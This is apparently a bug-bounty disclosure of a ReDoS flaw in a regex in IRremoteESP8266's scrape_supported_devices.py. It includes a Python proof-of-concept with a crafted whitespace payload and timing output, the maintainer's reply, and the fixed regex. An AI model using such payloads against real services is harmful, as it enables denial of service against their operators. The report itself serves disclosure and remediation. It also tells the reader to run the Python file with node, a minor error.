Inefficient Regular Expression Complexity in crankyoldgit/irremoteesp8266
Reported on
Sep 24th 2021
✍️ Description
The IRremoteESP8266
package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide crafted input to the extractsupports()
function in the file scrape_supported_devices.py
may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.
🕵️♂️ Proof of Concept
Reproducer where we’ve copied the relevant code: https://github.com/crankyoldgit/IRremoteESP8266/blob/ca44fa33bbe872c8b646e6c7be4b270968268bd7/tools/scrape_supported_devices.py#L280 https://github.com/crankyoldgit/IRremoteESP8266/blob/ca44fa33bbe872c8b646e6c7be4b270968268bd7/tools/scrape_supported_devices.py#L13
Put the below in a poc.py file and run with node
import time
import re
evil_regex = r'Brand: *(?P<brand>.+), *Model: *(?P<model>.+)'
for i in range(1, 50000):
start_time = time.perf_counter()
payload = "Brand: "+" "*(i*10000)+"@"
re.findall(evil_regex, payload)
stop_time = time.perf_counter() - start_time
print("Payload.length: " + str(len(payload)) + ": " + str(stop_time) + " ms")
Check the Output:
Payload.length: 10008: 0.3493204 ms
Payload.length: 20008: 1.3715758 ms
Payload.length: 30008: 3.0679822999999997 ms
Payload.length: 40008: 5.5895157 ms
Occurrences
SECURITY.md
2 years ago
Received. Looking at it now (owner of the repo. aka. crankyoldgit)
Fix submitted for code review in https://github.com/crankyoldgit/IRremoteESP8266/pull/1619
Modified poc.py with new regex indicates it is fixed. e.g.
...
Payload.length: 12810008: 0.01703646599980857 ms
Payload.length: 12820008: 0.021741868999924918 ms
Payload.length: 12830008: 0.01843134499995358 ms
Payload.length: 12840008: 0.01862592500037863 ms
Payload.length: 12850008: 0.017435174000638654 ms
and the modified poc.py
is:
import time
import re
evil_regex = r'Brand: *(?P<brand>.+), *Model: *(?P<model>.+)'
evil_regex = re.compile(r"""
Brand:\s{1,20} # "Brand:" label followd by between 1 and 20 whitespace chars.
\b(?P<brand>.{1,40})\b # The actual brand of the device, max 40 chars.
\s{0,10}, # Followed by at most 10 whitespace chars, then a comma.
\s{1,20} # The between 1 and 20 whitespace chars.
Model:\s{1,20} # "Model:" label followd by between 1 and 20 whitespace chars.
\b(?P<model>.{1,80}) # The model info of the device, max 80 chars.
\s{0,5}$ # Followed by at most 5 whitespaces before the end of line.
""", re.VERBOSE)
for i in range(1, 50000):
start_time = time.perf_counter()
payload = "Brand: "+" "*(i*10000)+"@"
re.findall(evil_regex, payload)
stop_time = time.perf_counter() - start_time
print("Payload.length: " + str(len(payload)) + ": " + str(stop_time) + " ms")
Yes, we the modified regex in the https://github.com/crankyoldgit/IRremoteESP8266/pull/1619, the vulnerability got fixed.
Payload.length: 200008: 0.0001850000000000046 ms Payload.length: 210008: 0.0001921000000000006 ms Payload.length: 220008: 0.0001991999999999966 ms Payload.length: 230008: 0.0002778999999999976 ms
@crankyoldgit Can you please validate this report?
Could you please use the mark as valid
button to confirm this issue. Thank you.
Will do. Also the PR has been merged now. So it's fixed.